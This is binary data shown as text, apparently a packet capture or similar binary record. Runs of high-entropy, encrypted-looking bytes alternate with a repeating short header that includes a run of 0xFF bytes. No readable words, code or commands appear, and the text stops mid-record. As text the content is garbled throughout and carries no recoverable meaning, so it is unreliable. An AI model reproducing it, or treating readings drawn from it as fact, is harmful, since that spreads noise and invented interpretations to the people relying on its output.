-Xˆîsä?ÞžñÓîÙ¾ÄY÷+ÿ§%ÈHZí“ÁýýË?Ga©ù­/ ^|Ì Oê_‘X~ûvD6Fo¢ Ô T¡ LvD6Fp¤VVBÿÿÿÿÿÿ¿2) T¡ Lp>0€ô6gŸ8øÅn>D‹)âµ^R¿iÓp  GßN¼õ´GSÉim ¾£¨=ûä.¶`Ò„Árö6÷vD6Fo® Ô T¡ LvD6Fp®VVBÿÿÿÿÿÿ¿2) T¡ L€>¬¢ËHžßV!Òwß%ß.tâ,uQñ{Ylñ®ï?±[ÒÔ*ðo`º?v Ö§åNèzè·¢sÅÖ”TgÍvD6Fo¸ Ô T¡ LvD6FpºVVBÿÿÿÿÿÿ¿2) T¡ L>‡,„Û£ôØáÕ&!’7ËEèbðàÁ£Nîeö`sFêjÌ’ìšÔüqª6e‚EìO EIï™rbŸvD6FpÄ Ô T¡ LvD6FpÆVVBÿÿÿÿÿÿ¿2) T¡ L >ãÆÛýž½(DF硺¼—ñŽe½ ¨ðÄ>n¸ +lý£áƒ…©eãUq{!KAIa ÐãÙöÍŠ9Gƒ»vD6FoÐ Ô T¡ LvD6FqÒVVBÿÿÿÿÿÿ¿2) T¡ L°>›€··n RÝàì!òår¸{åb¼iÍSLÒbÅŒSP©òD.:ËÐéôŽƒÓÂà®ùñŽêrvD6FoÚ Ô T¡ LvD6FpÜVVBÿÿÿÿÿÿ¿2) T¡ LÀ>ùÜÛµ_€ÎI"&Å·>úéŽ<1w20—ÒC°×øG4?)É—G'nðºacM:w¼±æQÇ^¹„‡t¯vD6Foæ Ô T¡ LvD6FqèVVBÿÿÿÿÿÿ¿2) T¡ LÐ>ÓæƒÐ—[1ÐÒ…²ˆYºEPÆŽ(÷t­v£äª×êÆê ÕŠýlÀâ;„ÏŠ‹¬ÐqôöíõT+vD6Foò Ô T¡ LvD6FqôVVBÿÿÿÿÿÿ¿2) T¡ Là>I0Tãd‘¾Ûk¤Ö¶ÞN+zÅ‚ˆ£\%sküöX¿éù+ÝÎö¿Ë%ºÒçÁyFÔºkÏ£¥ xvD6Foþ Ô T¡ LvD6FpþVVBÿÿÿÿÿÿ¿2) T¡ Lð>ëRÎÈz>!J½'Ìþ£ŽõSnå0I H!ʃÿ”í•?§ SBÒï_šž>:ÞùÏëÙ;ÏvD6Fo Ô T¡ LvD6Fq VVBÿÿÿÿÿÿ¿2) T¡ L?'þ´7“wÖiL¨Žõ®D\G=6 $ecj–D»6(톶^Nöm‰+ÖÑÐÿÎø‰Û?J±TxÕ"ñê¼vD6Fo Ô T¡ LvD6FqVVBÿÿÿÿÿÿ¿2) T¡ L?]RÜÍy¾…¾ãΟ<ü`iï–q|¹ -¯ë#´æRk±j|Q¼‡æ3 tÜ/LFÚÁÝi‡áÚE?vD6Fo  Ô T¡ LvD6Fp"VVBÿÿÿÿÿÿ¿2) T¡ L ?KÎ)ì$XPTÂ1ð'÷Ä‚nîgÁ´?/%R–Õ½Þž· Es+Ž6øcØÀç-‹ZÄ'øee¯µþLLØqvD6Fp* Ô T¡ LvD6Fq,VVBÿÿÿÿÿÿ¿2) T¡ L0?Ÿê¯4®ÌkYËÎLOÁ$_ «W{OU—­¥÷c‚ÕeˆEœ¿ðÚNwìÿ÷×õxCþ¬Q&h|he;êµvD6Fo6 Ô T¡ LvD6Fq8VVBÿÿÿÿÿÿ¿2) T¡ L@?@0§`n¼ù*h*Ô½ Bª/2Ã&ÙèÚ  ß¾ïæàp‰1[r‰­nKHÐp|‰HwD6Fo. Ô T¡ LwD6Fq.VVBÿÿÿÿÿÿ¿2) T¡ L?ö4It‡¶ÈéÏÅõKC®"Á.‘ý.G¹$¥f3kQW0.ÙäÑ\¶‹¥¡‘YÓÀmWI•m>])wD6Fp8 Ô T¡ LwD6Fq:VVBÿÿÿÿÿÿ¿2) T¡ L ?ƒ. ¯Àÿ$ž õG\؆öO?Lzƒô¨mÙŒ’jVØØø—ؾɆ@ŠUk«%²Uå±€hèRwD6FpD Ô T¡ LwD6FqFVVBÿÿÿÿÿÿ¿2) T¡ L°?©qí„ËrâP»†]°Í-<&“Êœd¶­#‹>ô/©ž·Í5“š?²dÃ$Þµˆ¼¸¥åð«-µ8wD6FoP Ô T¡ LwD6FqRVVBÿÿÿÿÿÿ¿2) T¡ LÀ?æb*|U;'¹„Žj³{ÂzëáÁï¢ÞQ XÌ–5˜;.§zÿ›ÿ3×%DªÁç0€ÛMt¿uÚÖwD6Fo\ Ô T¡ LwD6Fq\VVBÿÿÿÿÿÿ¿2) T¡ LÐ?r ŠõÒŠÚ$_CŽè!×Uç#óg²}àý)gó]ŠüØ„]’v§ˆmûŒÈ+njdˆâÝÒdŒCnéòîÔwD6Fof Ô T¡ LwD6FqhVVBÿÿÿÿÿÿ¿2) T¡ Lð?θj¦rféÅR`‘;;–à­&jš.hX}gÐ*Ÿ¢ÓæH;wÊ8¡À·ýœméÁÖIMXÇ(XwD6Fpr Ô T¡ LwD6FqtVVBÿÿÿÿÿÿ¿2) T¡ L@FòÒ¾&Ýr™ýq/ô•—Ÿn·÷sz3-baUájïCêjÆs”À‡MAÝ›mOö51§‘¿}Ó~wD6Fo~ Ô T¡ LwD6Fq€VVBÿÿÿÿÿÿ¿2) T¡ L@Ïêcº˜ßK\ÍØ^òéëÈR¿ŠØ1pùFÿÔ[>ûaHYÑØ2â÷i.‚ìâS{õõOÙwD6Foˆ Ô T¡ LwD6FqŠVVBÿÿÿÿÿÿ¿2) T¡ L @´¤¨Ó2n˜ù[þbÝ£•ÀKŽ&=7°ô«#SyÝ8—Yì ’¦†Š5Y\ïÚÕZuºpùTrª=‹6ˆßÔY…wD6Fo” Ô T¡ LwD6Fp–VVBÿÿÿÿÿÿ¿2) T¡ L0@Æ*ž¡ø]faå¬îkJBÔMžs:ÕlMÕ=ûqö[±œþ‡G€Iä¥(´Î [U4w͸~¾wD6Fp  Ô T¡ LwD6Fq¢VVBÿÿÿÿÿÿ¿2) T¡ L@@θWσ­¹b5¡[…ùIËÕt7$öÞIT£­ÐÕ̶5õAäö1xiõ&šž‡²@Ò‰T†ÿ*+"çwD6Fo¬ Ô T¡ LwD6Fq¬VVBÿÿÿÿÿÿ¿2) T¡ LP@2$UÇòìÞíÒÌ…Š Ÿ-‡äïîÕÃȣ/ÒT¨ = Ñ¶®˜MmMj5O€_ æK¢ß?GpUwD6Fo¶ Ô T¡ LwD6Fq¸VVBÿÿÿÿÿÿ¿2) T¡ L`@¯|õÕ]ªÎÊU#Ðm×ñß¼SÓ2PwUP¡)•AA-ç'(ßBOR•àè}yWÉ#A^€kÿÝÏ¢‘Þ5ÔwD6FoÂ Ô T¡ LwD6FqÄVVBÿÿÿÿÿÿ¿2) T¡ Lp@™¶jÊ“l¾æuc‹k Fs'.~RàÚÍÆ‘(ýdOïm§Ú2§EcRöîºwÀ’Ðë‹ïç´¾pwD6FoÎ Ô T¡ LwD6FqÐVVBÿÿÿÿÿÿ¿2) T¡ L€@ êd¡íÖܪ„¡–Ž@úv&{çps?úðVösqÐ@¶¼mµ°¦hˆ =Gh^Î1ÿgw_Vb˜eœwD6FpØ Ô T¡ LwD6FpÚVVBÿÿÿÿÿÿ¿2) T¡ L@ü†)Cî¹D;¥é.1 òo”ò}HfU[ÿS£þ|wŽö’Sêª ¹Þ½«ÒAPç°¿J ¥¤íÒKl¾_wD6Fpä Ô T¡ LwD6FpæVVBÿÿÿÿÿÿ¿2) T¡ L @Ž£úæ¹ÈfƒÑö,W]hK;X(J‰ˆ¿Ú9”èa–TaÓžÓÑ:¨ÑnM÷e¾Ë“Ç3LÉìƒwD6Foð Ô T¡ LwD6FqòVVBÿÿÿÿÿÿ¿2) T¡ L°@÷Öæ)è«©ŒËQýš¡G€†Í=/m\Ž’RµÃD#¸ž‚ôf8 8C~Ü Ë)e—]Æo#ípvwD6Fpü Ô T¡ LwD6FqüVVBÿÿÿÿÿÿ¿2) T¡ LÀ@ÅÊô¦{À÷\_ûš×ö$-ïÒW¸ª[쥶³Ãö‘Ù¬—"±í}QâêJ¦qÎß‘¨îSz¹ídûwD6Fp Ô T¡ LwD6FqVVBÿÿÿÿÿÿ¿2) T¡ LÐ@¦bÿ˜¨[Üv—¶‘Y·Ç{Ó’@«ó“St¦´˜'*û©ÐDuPFP-?@f]ʼnµ"õÿãÞ¯yu¨Ÿ6ÈÓwD6Fp Ô T¡ LwD6FqVVBÿÿÿÿÿÿ¿2) T¡ Là@ÈÂdæBŸF ˜‡ÏdÐe•RI 2N •ŸÅÝìÓG½ ÐpÞ*‹mû‚ó¡Æ_¡ÛîÖ^É‚ÔiwD6Fp Ô T¡ LwD6Fq VVBÿÿÿÿÿÿ¿2) T¡ Lð@:ÂJ“œ‡B²mòGn¤áü³Í°.g«Ê¤^ÄLTöL8¹™ÛŸÿ+Xƒf„€%ú¼@™/-¤Kš[ÓwD6Fo* Ô T¡ LwD6Fq*VVBÿÿÿÿÿÿ¿2) T¡ LA æ±<Ì5íõÇ2Sìu¶‚ãßi„N"»ÇvŒ4›kìã‘úǬßÒ•™=â“B¯–|]äÈcð¾G±À±%ÇwD6Fp4 Ô T¡ LwD6Fq6VVBÿÿÿÿÿÿ¿2) T¡ LAQäC;‚~ISßtpýè0r8fQŠT`:ÚíF0äg­³¤hQ~ù+ĺc%¼‡+‡4anÅàwD6Fo@ Ô T¡ LwD6FqBVVBÿÿÿÿÿÿ¿2) T¡ L A;د§Žì8\½µiùbZr ge *'&4Š/ˆq¶Ê;$'>÷¶‡´†2+y‰—é±ïÛB¿;á5LC=˜XwD6FoL Ô T¡ LwD6FqNVVBÿÿÿÿÿÿ¿2) T¡ L0AʨÏÃ"$¹Œ¼þ‚ý 6u†>Nép£iB‹h™±Ñíö£NÔ¼™hkÙ!üÿÀ11/–m0JoY?‘wD6FpV Ô T¡ LwD6FpXVVBÿÿÿÿÿÿ¿2) T¡ L@AÙ”åmÀŽ·Žć._CkÕ YuÌš&NR´–û’ah”>I&ÿAH{ÜÙ§F3QŠ‘Ú‰h2DŽËjæwD6Fpb Ô T¡ LwD6FpdVVBÿÿÿÿÿÿ¿2) T¡ LPAh­©ÁÆÚ÷Í÷C[”)”¡V˜B7ĺMð{½JzÓ$ ø¨ÍÝìH{šHuPžQeB ÑwD6Fon Ô T¡ LwD6FppVVBÿÿÿÿÿÿ¿2) T¡ L`AÉâË[ã\f°Êà-㌊ZŸnÍèE¶Hâ+[øâQîzêNLQ‹iDwœ¿ƒoUMdƆ¤ï8Šè¦šwD6Fpz Ô T¡ LwD6FpzVVBÿÿÿÿÿÿ¿2) T¡ LpA î}È ñª}²úì)Ú˪ïÄ ;óŽc7$ëåãçÇkÀ^nN“ܵ ÀrÞáGÙaZz"„øŸr´ÁwD6Fp„ Ô T¡ LwD6Fq†VVBÿÿÿÿÿÿ¿2) T¡ L€A@«°çYù×Ýâ\ßó1 5õÛmN k$À qŒ£!ðù¶À†‹Ì sz¤ùòÜ”võRÜ$ÔI ÓFÌwD6Fp Ô T¡ LwD6Fq’VVBÿÿÿÿÿÿ¿2) T¡ LAÎÜmÄÒtv¾[÷` ™Â“-É$PY©²*ì}¾ÝtnU±áøM«9þjS|ÄKc«CŠŽÜwD6Fpœ Ô T¡ LwD6FqžVVBÿÿÿÿÿÿ¿2) T¡ L AÒ,,y}e 9k,mqHjz#}®Øx{!c™—í²?“Ÿ¯¥\€eT½žÁp¶Æëµ« OC¥FªwD6Fp Ô T¡ LwD6FqVVBÿÿÿÿÿÿ¿2) T¡ L`BjâFƧh#°8gÉ"ÿŠ  và·4¯Bi„ŸæýR%ª-Ô‘çê:Æ>MvÀÓi§õØ+±^Ü—2”wD6Fp$ Ô T¡ LwD6Fq&VVBÿÿÿÿÿÿ¿2) T¡ LpBóþ„ïS)EOü@.í¬¶¨pW¸öb¯aÜæÕ IIkuŸš’Ñq£‰™n%Õ|h–s/\tFwD6Fp4 Ô T¡ LwD6Fq4VVBÿÿÿÿÿÿ¿2) T¡ L€Bàh¬A©!¯Š/¨OÅÇ1®fÀ™¬ÚLK‰þkž¤ø†×ð&×¾ø›r†úg>“9Žò^yë3¾„°/ wD6Fp< Ô T¡ LwD6Fq>VVBÿÿÿÿÿÿ¿2) T¡ LBp–Ç=û‹ c0€(æ<ßÍh;mˆçb÷4>§Zùe¡Ãõﯯ‡ÍvºÑ2i¥!"ýhW6½»ª{R`ê“wD6FoH Ô T¡ LwD6FrHVVBÿÿÿÿÿÿ¿2) T¡ L B@Ò?:Åâ² ½pĬÄÇa ²–p ´Þ·ž•JÕ_]X¨2·¯þQíS<+Ï­3TxÑ‘ V=[tewD6FoR Ô T¡ LwD6FqTVVBÿÿÿÿÿÿ¿2) T¡ L°B7Ì·u¹8î³ØjðÝ’$¼'N—m¸TP;Wþ™ß ¶›ì9_Ý<~\§ö"ÜöúÙžý™*½÷wD6Fo^ Ô T¡ LwD6Fq`VVBÿÿÿÿÿÿ¿2) T¡ LÀBj¾Š Ô Ž2È*Brçvâø\ö¤Ç`iq?cÜšy]¬î‘˜`æãé9‚¬4)m¶ÈPVå‹Ã0•}ŒvÓ.êwD6Foj Ô T¡ LwD6FqlVVBÿÿÿÿÿÿ¿2) T¡ LÐBŸ«²Ö¢ªÁ깡0ž‰®ð—Ôï¢~\@xv°kJ(kM3-2Æ>ªúBOQ šÙŠx¸ë†f3ñ†r»wD6Fov Ô T¡ LwD6FqvVVBÿÿÿÿÿÿ¿2) T¡ LàBEd”Z9®žc*l ìÆ€PŒ~cû4Î+DÔi¾ mõûÒ;´üNO1Ü™úSángé'Ìðö…]…ZpwD6Fp€ Ô T¡ LwD6Fq‚VVBÿÿÿÿÿÿ¿2) T¡ LðBZ¼Á–%äÏÉ«|¡Z4‡c:Vݹ%3Xê3u%©üwƒÌB!"8ÍÙT{×-´¶í=¼òå¿‚ÚüHwD6FpŒ Ô T¡ LwD6FqŽVVBÿÿÿÿÿÿ¿2) T¡ LC¿Ä¸c5{\/›=£öÊRâ£1Au yÿ:eŒ#Щ  G„(Þg2NÁÔ§«­Ù—õ¹ºɬª…cBwD6Fp˜ Ô T¡ LwD6FqšVVBÿÿÿÿÿÿ¿2) T¡ LC'&³!›¯uˆÁ½·X”eKB%šÉ6ÞT…[ÅjxŠßóP+ðÑU‹KôµÓy'õ†|ÙSäÙ€?|wD6Fp¢ Ô T¡ LwD6Fq¤VVBÿÿÿÿÿÿ¿2) T¡ L C5lÕÂ(Ã<ÁHÖ°ŸQïEÁnÈÙ®²¬ð¯[ˆ¹ƒgàsǧL;‘.—6Õø»|m\™¦ò Ûe÷wD6Fp® Ô T¡ LwD6Fr°VVBÿÿÿÿÿÿ¿2) T¡ L0Cð$ûú£ØþÑÒÌcJ’¢á‹ÖÖÙœU°ëc,Ñ?·Þãv†¡iî˶·Oàèp:&I…9é`ÄN!ï·ÒwD6Fpº Ô T¡ LwD6Fq¼VVBÿÿÿÿÿÿ¿2) T¡ L@Cs a;€9™6l¦#ý~'G§»Xó+.¬ŽuŠMŽRåÒÏJ£³>Λiÿ|pÔ*1ˆL`§¶)“ÄÝÜÆwD6FpÆ Ô T¡ LwD6FqÆVVBÿÿÿÿÿÿ¿2) T¡ LPCwú:hta¦õ4ª­.áfSÕì ÿ£=J“¿i?M]N¤d½"-´ÂJöëe ¦ É Ãô˜žÉ±úLwD6FpÐ Ô T¡ LwD6FqÒVVBÿÿÿÿÿÿ¿2) T¡ L`CntqÍ™_örå™=VÀY¸û&]™Ðsßø ê lo€Û! Ä5·N ¿ÈDB2L _–€'jÑçwD6FoÜ Ô T¡ LwD6FqÞVVBÿÿÿÿÿÿ¿2) T¡ LpC‚Ž ÖŒ[P «ÞS™ªm“÷…˜ß•Æ$ÀDžÛ.—)·,AÝÝ!Öº«Ð+h>8q‹§¶‹(+É÷UPwD6Foè Ô T¡ LwD6FqêVVBÿÿÿÿÿÿ¿2) T¡ L€CŠ ¬ËBÅ×(]Qþ¾¸Ž{\2…! U£Œø­íçhã¥r `m?z_RìjéÅC¸ZBæVT2;K­I}wD6Fpò Ô T¡ LwD6FqöVVBÿÿÿÿÿÿ¿2) T¡ LC,®}uP'­(3µâd x“Š}ô]I¿€j:Ò(ê +­õwÕ,A¯œ÷žt¥<=œ‚uô%.·"³9wD6Foþ Ô T¡ LwD6FqVVBÿÿÿÿÿÿ¿2) T¡ L CÄŸZÁ“N–ØÕßMŒçÝ;zû!ÏÐ$ ©[B÷wû!{l5±#’ü®ñŒž¬ ÿÕè ä A"üwD6Fp  Ô T¡ LwD6Fq VVBÿÿÿÿÿÿ¿2) T¡ L°C‘nèè§Tž!ž_9 ºPÄ-¢Ô‘ÜüR\l4d€köÛŒWªÑ¸;(†n& Âb·¤Â?Šž™‰P wD6Fp Ô T¡ LwD6FqVVBÿÿÿÿÿÿ¿2) T¡ LÀC†”,Hõ³j†Í{@xð:@ŒNÛ·åðb°ïìOÁÐ(0q#Æ v¿ª6QÚjÍaüûzNÆL*wD6Fp  Ô T¡ LwD6Fq"VVBÿÿÿÿÿÿ¿2) T¡ LÐCú°¥ºZî°>@QS²ò…B„×™4dž\¤à§–w»~R3‡°—©Êµ®aÁà.Ž@W¯W¬u¯Yêμ…wD6Fp, Ô T¡ LwD6Fq.VVBÿÿÿÿÿÿ¿2) T¡ LàCIÜsŒMN96£˜ÖÉŽ*K7Ä{ê¬&¢a:O(•×gv’{ušËfˆÜ ]`-ÀÈ»Áëø•)‘A\R wD6Fp8 Ô T¡ LwD6Fq:VVBÿÿÿÿÿÿ¿2) T¡ LðCÙ Ögšõm8º;ŸÞÅzá\—GÂ7éº Õ•¯¢I g„WwD6FpZ Ô T¡ LwD6Fq\VVBÿÿÿÿÿÿ¿2) T¡ L D,¢î’‡ã-À=ZÂÓ[´‰iF©ÃÀ/4MóÔq+Ú©]ϵÂ43¬åVjê „¸…ˆã†;ÍwD6Fof Ô T¡ LwD6FqfVVBÿÿÿÿÿÿ¿2) T¡ L0DŸ”*ÏñÄ®uF^Bn`¼çj r£‚Þ^˜1©9€…VÏåßÚ‹:t.lwZ‰¾aƒ ö?Þñ¡ÿ§ [GEwD6Fop Ô T¡ LwD6FrrVVBÿÿÿÿÿÿ¿2) T¡ L@Dà†-⢞©Ä¡¸×°Âý=”9Þ §¥Ùw•oÏ×=ãÕ–»·±r[Ÿ3VzMžCSç§}ø˜'#ÝÍñwD6Fp| Ô T¡ LwD6Fr~VVBÿÿÿÿÿÿ¿2) T¡ LPDNÞêºv2—¼ûî¶1R&„b,&(­>˜ìŽ˜AS„æü„ŸuFF䎺M4ü@Mæ&5. ¥<»4ûTw¦Ÿ$.Š­\owD6Fpú Ô T¡ LwD6FqüVVBÿÿÿÿÿÿ¿2) T¡ LE”v5!k)™´Úhº¨ÏÝ“+”we9†K”°®ûɽ'©—³Ú·ý„A1š ŸBÞX§¾wÖ¥<ÐwD6Fo Ô T¡ LwD6FqVVBÿÿÿÿÿÿ¿2) T¡ L E²ß „áàŽ‡ ;m`7ÀPG_ñ×g0ÓÙ¯òáËŠ±jA)X ÒšæóE3s¸ÍÿÎ>þŸòÖ‹ñíÙIpÐ^†“%z€:fç˜V'ê5wD6Fp( Ô T¡ LwD6Fq*VVBÿÿÿÿÿÿ¿2) T¡ LPE"òh‰KXÈWDí©ÙN¢÷œ`´¸¥#¾N³ý[Êe*Àg8Ÿ æàR‰EïÖ}qž~»EŽ-Žðu«zwD6Fo4 Ô T¡ LwD6Fr4VVBÿÿÿÿÿÿ¿2) T¡ L`E?,~E¢×ÍÖΧ„ÞÓiã**ÃK eØ ‘ÁB4z=æo¡ ÌIn>"™™Ká«Ì¯Á¶”¹ ©Û@wD6Fp> Ô T¡ LwD6Fq@VVBÿÿÿÿÿÿ¿2) T¡ LpEz$RÐ^“s„¼ìhâýµoK&jVeª×¤K³ç9*<°ÿ-¹@Çs€d=?ñ´ Aá¼ìÒù}/ãz1¶u‡ÊwD6FpJ Ô T¡ LwD6FqLVVBÿÿÿÿÿÿ¿2) T¡ L€EònÑ)ô6ÏEÁ(7 ó€ª*|ßæ-ŽUU4Jj/K£¡þ^”û;,\Y>#Èå½àár:I`F%°‘wD6FoV Ô T¡ LwD6FqXVVBÿÿÿÿÿÿ¿2) T¡ LE’ˆÊês;c¤òøWßgvšK”Šºkèáyu9Àc1;C—~ØÏwq¶.£Ñ‘ûF×U+V·:ä )2J>wD6Fpb Ô T¡ LwD6FqbVVBÿÿÿÿÿÿ¿2) T¡ L Eó]ÕèöðÚNlÞ«m¢Z]»Ã~–Ž?ŸÄ‹× ˆÞI=Ÿ²Ì¯ÎŽîKfZ+µ-ô¾xgHŽöÉ[÷íæwD6Fpl Ô T¡ LwD6FqnVVBÿÿÿÿÿÿ¿2) T¡ L°EmÈ£¶þ0oš 7)„šä&o™ÏTøaú^­ª&Œ ž·ôm6 @K{Òn—ÄTœ“˜®.¿Ž\5IòzwD6Fox Ô T¡ LwD6FqzVVBÿÿÿÿÿÿ¿2) T¡ LÀEGzƒÑ {ð«2°&”å f+Ï ~G.ø+o—Ö­ö>¿I ~ùb'ÆNß0SÏ3.îÞ%Öº— qLNwD6Fp„ Ô T¡ LwD6Fq†VVBÿÿÿÿÿÿ¿2) T¡ LÐE²ô3ω½ º+-„Ò5ûÊ^ÁéWlðy1Ü{:Ø“dÇ8­b ðZeÀ„3G~:©T[îP\ mwD6FpŽ Ô T¡ LwD6FpVVBÿÿÿÿÿÿ¿2) T¡ LàEèEy°yØ0Pd*ôFò<=¨e÷Eþ§ø†©X Ãx/Gèã‡]ù÷w¡‰¹d|E#8Ä’veå'—' wD6Fpš Ô T¡ LwD6FpœVVBÿÿÿÿÿÿ¿2) T¡ LðEöÀ b[ïP²ü›ý|ü¶øÆöYôH9/ɰԜ ºY íïCÊêä7÷c͉•¾>Âi£©‰-pwD6Fp¦ Ô T¡ LwD6Fp¨VVBÿÿÿÿÿÿ¿2) T¡ LFÌ0÷[Ñç¿G”7XTñÌëÀÒ‘ût`YqHåx~çë,¥ „ãt@Iü§'ÞN0—y8ÈX%Å­F€ŠøTßwD6Fo² Ô T¡ LwD6Fq²VVBÿÿÿÿÿÿ¿2) T¡ LFŽÊAçåEž§%d¿««FýsYkµ"?–âZòÄíÎRJÐ\ÊLé ',SXz^ȯI}n¼¡°58wD6Fp¼ Ô T¡ LwD6Fq¾VVBÿÿÿÿÿÿ¿2) T¡ L FsP]O|ª–â• ¡ŸÖª”>ª¶–3]³Hz‚6`9ô,os=/ôDœÅhåºÊƒçþÅ{M3ö>wD6FpÈ Ô T¡ LwD6FqÊVVBÿÿÿÿÿÿ¿2) T¡ L0F°Þcæ··7¬‰Rø8êS±¢ÀXõmÂØ1œK[Íå™jžžˆ9jSZŽ™¦}ë©ÆjxN¦2{gëžwD6FpÔ Ô T¡ LwD6FrÖVVBÿÿÿÿÿÿ¿2) T¡ L@FÐŽ“à ˜‹Û½²½]sþš>G:ñ NT£×´¥¹TóÙ½ÆèqéÈn{OI g$\3.¬ÉS¿3äuwD6FpÞ Ô T¡ LwD6FqàVVBÿÿÿÿÿÿ¿2) T¡ LPF>úÛ¯ÐÝmÆ=ßܦ§œÉ\‡‰ëZ¢Ü5î–yÄgUÅ÷¬\œ'£,A×Ç<£œ9-RH~;é ìå%wD6Foê Ô T¡ LwD6FqìVVBÿÿÿÿÿÿ¿2) T¡ L`F;¯ºRÙ}KÔu´t$~ñ™¶;-†¸aÞ!¥iˆLWbàUÛÕ¿E»EHÓÉM å¨öä0'T™±wD6Fpö Ô T¡ LwD6FrøVVBÿÿÿÿÿÿ¿2) T¡ LpF 6âZ<ŒYLÞœ6ÄžÖ ö}²ŒB“^¡G]o¦Î'ý=Û¬è •eh ÉÏŒäGÞwD6Fo\ Ô T¡ LwD6Fq^VVBÿÿÿÿÿÿ¿2) T¡ LG­¾¾¦PM”èÿtš‰¨˜XüÚ¡çÌL—Å&!¥›íéCltmòf8#EÅ33( µÒ™Ó¨jÆÅd¤O­ÒwD6Foh Ô T¡ LwD6FqjVVBÿÿÿÿÿÿ¿2) T¡ L Ge8q„ààý¤]ê>UáéeMWU˜Ã.œ(ØŸîeûKÁæNé¤Â†vm}P¹¹eV] ò 4T,IÐwD6Fpt Ô T¡ LwD6FqvVVBÿÿÿÿÿÿ¿2) T¡ L0G‹6ïŽà¦€m‡:´;I“ hHC •Ü|&ý›ìجöC?®ˆlUD |¹ÙÀ¦_R’kø ÌJì§wD6Fp€ Ô T¡ LwD6Fp€VVBÿÿÿÿÿÿ¿2) T¡ L@G ÄÑÛ½s¡æž%‹&6;·Ò’‘OG‡}ժɨ¥Zj]£Ëv—\úÓLEé"\Jo•ß¾ÂÉô ô‰wD6FpŠ Ô T¡ LwD6FqŒVVBÿÿÿÿÿÿ¿2) T¡ LPGŸ”öi$,àLj_T×(ÂÕ<0.]{ñhþØ¿¢ëæA»ßü¢z¯$Yë)·›WqÆÀME@}Ù5ü…D5yšwD6Fp– Ô T¡ LwD6Fq˜VVBÿÿÿÿÿÿ¿2) T¡ L`G+&gžòrVç"ZkÞùɈü-ëÖÞjKòPe[ë½îP‘ï|š÷øpg˜@f`¿"xª˜,XwD6Fp¢ Ô T¡ LwD6Fq¤VVBÿÿÿÿÿÿ¿2) T¡ LpGgôžmV)s$©ZTd|–pî™Ù Î$a]¢§Hí°®sȈy[c˺?ÉÂàò(B ¨2% 8ÕêDwD6Fp¬ Ô T¡ LwD6Fq®VVBÿÿÿÿÿÿ¿2) T¡ L€GrÚy5œÃ «î£[Rò%ñ%±›/ ÌÍ0eq,¡^éón–RŒ ƒ­ïÍ£«³åIõKDî]W¼¼wD6Fo¸ Ô T¡ LwD6FqºVVBÿÿÿÿÿÿ¿2) T¡ LGI\ÆÐ(^ËžÖÌÖ;ÕµHaª[퟉³S»‰€L|c@eéÕõ’U˜Š¢ðÄ|*upæš_ß@<¬ª @KfwD6FpÄ Ô T¡ LwD6FqÆVVBÿÿÿÿÿÿ¿2) T¡ L GDœj°•)zÌÚ\(£âcͪ×üØ3Ƭ¸{­0€. ´9†^G˜ZQb!6pNžÀ7Aô1¯ŒCÖ,&,H`4wD6FoÐ Ô T¡ LwD6FqÐVVBÿÿÿÿÿÿ¿2) T¡ L°G{ ØT…l/ 6GçÛ,áøNäêm¡×]à(+ŸÁ#[dšiæúÅn½Ó9ík FG7÷ÝFA‹wD6FpÚ Ô T¡ LwD6FqÜVVBÿÿÿÿÿÿ¿2) T¡ LÀGŒ¨ð¹iѲ {ã1LΓ;ítœê§@üs—‰°Æö«íÕ=L3Og;gÜGÑÃ{26ÈfŒrýNz1wD6Fpæ Ô T¡ LwD6FqèVVBÿÿÿÿÿÿ¿2) T¡ LÐG‹¤Kx\Ñïè3èÂ~—mŽ26KSÌGÅ×Ò9ômì_ «@“çPo#ÜrmsN#¥-bqÐ(@߃wD6Foò Ô T¡ LwD6FpôVVBÿÿÿÿÿÿ¿2) T¡ LàG8&;ˆ!²9@˾µ’U¦ÀULзR }z/*|QÁÈ¿ ¶ÉÈ Õ!û¦l)²V¡CH®TUk´ÕË wD6Fpþ Ô T¡ LwD6FqVVBÿÿÿÿÿÿ¿2) T¡ LðGǾ̟eÆ&‚¶3‡gÞ×Ê”ÐÂëÉ&GÙ¡¾°ÐN_µd°K©ž»Ä§SÑú«8†3@ÍÒß‚wD6Fp Ô T¡ LwD6Fq VVBÿÿÿÿÿÿ¿2) T¡ LHÙ¾Z¶­oÍï„Q Qw™wQ)¢. s”̺RŒyR5…mø‹'.\%úlˆ>#ìÙÅ %‡Ní>Ë/ñ‹,wD6Fp Ô T¡ LwD6FqVVBÿÿÿÿÿÿ¿2) T¡ LH¨¢Eal–޲`­ÅJ¬¼&¥è»Ó2¬«p„¡"-,‰u§É{ÄPê£Ù<ÃQBÏ ?/–)¨ÊWEwD6Fp  Ô T¡ LwD6Fq"VVBÿÿÿÿÿÿ¿2) T¡ L H|†Çýj£ÆXÁîó‡“\¼òm¾Ì>‹wXëȆ†n²šb­op@,9a½®fñ6ÇG¼QÁYþwD6Fo* Ô T¡ LwD6Fq,VVBÿÿÿÿÿÿ¿2) T¡ L0H Üé43ûÂm˜/Í&÷j=œÚº&‡>+8ñìR:>‹ ¨O›QN“Ò9g}NEšÎ$ NÙ¾ìðèÞÈ+6wD6Fp8 Ô T¡ LwD6Fq:VVBÿÿÿÿÿÿ¿2) T¡ L@H‚þT‹P×QÃé5±š56 'µZ^¾Q0§zmþ>âs†¯dþêñ¢ø¾W¶ ÅU|Á„wD6FpB Ô T¡ LwD6FqDVVBÿÿÿÿÿÿ¿2) T¡ LPHoÎyرöÛöAV)pþ¿Ë|j0·(T²¡³ŠÈœö…ñN@X]xסÜÒèü>‡.ts°«‹ip·wD6FpN Ô T¡ LwD6FrNVVBÿÿÿÿÿÿ¿2) T¡ L`HÆ&OEçQ1±ƒÄ^—t¯Å†ªi£cA¤¡¡ž]dÆÅ’ßø{ž bí7–i­„É[G²¾5)…wD6FpX Ô T¡ LwD6FqZVVBÿÿÿÿÿÿ¿2) T¡ LpHOÒÄUu½{U¿÷øÜ5.(9%Ü Ú4`+~¶pe”è~ZèïÜHè¨JYˆ+Ú”„ùê'&å½b¦wD6Fod Ô T¡ LwD6FqfVVBÿÿÿÿÿÿ¿2) T¡ L€HøZl“²µÃÉÿR º(‹öç,¹VO]h@8\aL,Ei G²‚ÁŠŠ¿2úu^¸ç¯¾›Ä[8*!%ÏwD6Fpp Ô T¡ LwD6FqrVVBÿÿÿÿÿÿ¿2) T¡ LH¼uE…ªYåU¡Û=þBžcÿ2’™DßIÏç€kZƒ!æ2úË-Ù2Ù“ªÝ\ûM/ƒÑ´5H¥ê{¶Õ*8zwD6Fpz Ô T¡ LwD6Fq|VVBÿÿÿÿÿÿ¿2) T¡ L HûV 